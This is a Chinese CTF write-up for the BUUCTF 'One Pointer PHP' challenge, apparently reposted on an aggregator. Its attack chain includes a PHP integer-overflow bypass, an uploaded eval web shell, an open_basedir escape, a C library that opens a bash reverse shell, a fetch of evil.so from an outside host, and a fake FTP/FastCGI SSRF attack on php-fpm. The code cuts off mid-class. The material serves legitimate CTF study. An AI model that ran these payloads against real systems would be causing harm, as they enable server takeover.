[BUUCTF][蓝帽杯 2021]One Pointer PHP
Posted Snakin_ya
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考点
php数组溢出
绕过open_basedir
攻击php-fpm绕过disable functions
Suid提权
源码
user.php
<?php
class User{
public $count;
}
?>
add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
第一步
反序列化cookies->data使其$count[++$user->count]=1
需要绕过if($count[]=1)语句进入else分支执行eval函数
PHP数组溢出
在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。
测试：
<?php
class User{
public $count;
}
$a = new User();
$a->count = 9223372036854775806;
$user=unserialize(serialize($a));
$count[++$user->count]=1;
var_dump($count);
if($count[]=1){
echo "die";
}else{
echo "success";
}
?>
输出
array(1) {
[0]=>
int(1)
}
die
所以这里只需要$a->count=9223372036854775806即long最大值时即可绕过(64位即2^64)
<?php
class User{
public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
在请求信息中添加Cookie：data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
第二步
查看phpinfo()
/add_api.php?backdoor=phpinfo();
disable_classes:
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions: stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive
open_basedir:/var/www/html
Server API:FPM/FastCGI
绕过open_basedir查看目录文件
ini_set绕过
open_basedir可以用经典的的ini_set+chdir绕过，先mkdir()创建一个子目录，然后再chdir()进去，ini_set("open_basedir", "..")就是合法的，当open_basedir变成..之后，就可以一路chdir("..")直达根目录，这时再ini_set("open_basedir", "/")就可以完全绕过open_basedir的限制了
一开始直接ini_set("open_basedir", "/")不行，因为根目录不在当前的open_basedir下
为了方便我们先传一个木马上去
add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');
读文件
1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
发现有flag文件，尝试读取失败，应该有权限限制，需要提权
1=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
glob协议绕过
由于html目录可写，利用glob://协议先探测目录
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>
glob:// — 查找匹配的文件路径模式
读取配置文件
预期解：
读/usr/local/etc/php/php.ini
发现extension=easy_bypass.so
pwn
非预期：
读/etc/nginx/sites-enabled/default
发现
# pass PHP scripts to FastCGI server
#
location ~ \\.php$ {
root html;
fastcgi_pass 127.0.0.1:9001;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name;
include fastcgi_params;
}
应该是通过未授权打FPM rce
攻击 php-fpm 绕过 disable_functions
反弹shell
编写拓展
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
编译(linux上)
gcc evil.c -fPIC -shared -o evil.so
编译好之后将其上传到/tmp目录下
add_api.php?backdoor=mkdir('snakin');chdir('snakin');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/evil.so","/tmp/evil.so");
伪造ftp服务器
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\\n')
#Size /
conn.send(b'550 Could not get the file size.\\n')
#EPSV (1)
conn.send(b'150 ok\\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\\n') #STOR / (2)
conn.send(b'150 Permission denied.\\n')
#QUIT
conn.send(b'221 Goodbye.\\n')
conn.close()
生成payload
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread(<以上是关于[BUUCTF][蓝帽杯 2021]One Pointer PHP的主要内容，如果未能解决你的问题，请参考以下文章
[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出，Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc
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